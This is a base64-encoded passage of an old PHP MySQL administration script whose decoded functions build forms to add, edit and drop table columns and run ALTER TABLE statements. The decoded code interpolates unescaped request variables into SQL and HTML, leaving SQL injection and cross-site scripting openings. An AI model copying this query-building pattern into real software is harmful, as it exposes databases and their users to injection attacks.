aWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJl Zj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0 YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgn RHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAi PC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxk KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZp ZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRk IEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+ RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dz KCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs ZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJd ID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkk ZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJh Il07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0g JGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvaygg JGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSAp IHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVl bGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIg KCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBz dHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+ JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBf U0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9 PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVl PWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9s ZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu IG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu IG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9o Mz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1l PjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5k aWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZs b2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9s bG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5U eXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2ln bmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48 aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9 PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8 L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2Vu dGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8 dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBp ZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAo LTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZu YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl PSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQi O2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNl bnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5 cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJTlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVj aG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0yMTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8 dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88 L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0 ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBl ID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4 NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+Tzwv dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50 ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv IG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAi Y2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K PHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBl IHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlwZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQi O2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2Vu dGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9 IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hv ICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGln bj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0 ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2 YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8g Jz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFs dWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUgPT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQi O2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0wMSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6 NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlm KCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAg KDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3Rk Pgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y YWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hv ICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1Mp PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8g bmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBpZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hl Y2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAyMTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJz cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m bmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1 ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5D SEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8 dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5 cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQg YWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlw ZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0 ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg dmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hv ICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0 ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0 eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgw IH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0 IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJs b25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1 KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlv IG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkg ZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwv dGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz cDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i QkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9C ICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0 IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0g Im1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3 NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1y YWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9i IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4K PHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10 eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7 ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVy PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0i U0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90 ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoK PC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3Ro Pjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFyeTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2Fw cGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5hXCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249 Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBl Y2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9 dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAkRCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hv ICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2ln bmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVk IiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0 IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmlsbCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJw b3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3Rk Pgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVl PSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAi Y2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBz aXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFs dWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFn czwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3Ro Pjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0 ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0i Tk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxsICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNo byAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRf dmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZh dWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBu YW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJBVVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4 dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRk IGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVl PSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVsZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQi O2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxlPgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiAp CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2Ug aWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0Vk aXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25D bGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9u IG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5h bWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwgJG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVy eVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAk bm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAkYXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwg JHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRB QkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJ JHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFt ZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYoICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIk dHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNl IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2 YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UK CQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJJHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9m aWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAu PSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwg JGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs ZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0g bXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hhbmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVz dWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1h cnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlm KCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25h bWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFy eSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJ TUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRr ZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5 Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBS SU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSggJHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIg LiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRF UiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklNQVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxf cXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAi PGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBk cm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAk ZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAi QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3Nl bGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3Ry ICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1h 